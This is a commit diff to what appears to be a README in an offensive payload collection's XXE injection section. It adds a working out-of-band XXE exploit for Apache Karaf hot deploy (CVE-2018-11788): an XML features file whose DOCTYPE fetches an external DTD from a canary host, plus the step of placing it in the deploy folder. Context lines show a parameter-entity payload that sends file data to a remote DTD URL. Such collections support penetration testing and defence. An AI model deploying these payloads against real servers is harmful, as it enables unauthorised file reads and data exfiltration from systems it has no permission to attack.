add XXE OOB with Apache Karaf "hot deploy" (CVE-2018-11788)

XXE Injection/README.md

@@ -192,6 +192,26 @@ File stored on http://127.0.0.1/dtd.xml
 <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
 ```
 
+### XXE OOB with Apache Karaf "hot deploy" (CVE-2018-11788)
+
+Affected versions:
+
+- Apache Karaf <= 4.2.1
+- Apache Karaf <= 4.1.6
+
+```xml
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
+<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
+    <feature name="deployer" version="2.0" install="auto">
+    </feature>
+</features>
+```
+
+Send the XML file to the `deploy` folder.
+
+Ref. [brianwrf/CVE-2018-11788](https://github.com/brianwrf/CVE-2018-11788)
 
 ## XXE in exotic files
 
@@ -244,4 +264,4 @@ GIF (experimental)
 * [Blind OOB XXE At UBER 26+ Domains Hacked](http://nerdint.blogspot.hk/2016/08/blind-oob-xxe-at-uber-26-domains-hacked.html) by Raghav Bisht
 * [XXE through SAML](https://seanmelia.files.wordpress.com/2016/01/out-of-band-xml-external-entity-injection-via-saml-redacted.pdf)
 * [XXE in Uber to read local files](https://httpsonly.blogspot.hk/2017/01/0day-writeup-xxe-in-ubercom.html)
-* [XXE by SVG in community.lithium.com](http://esoln.net/Research/2017/03/30/xxe-in-lithium-community-platform/)
+* [XXE by SVG in community.lithium.com](http://esoln.net/Research/2017/03/30/xxe-in-lithium-community-platform/)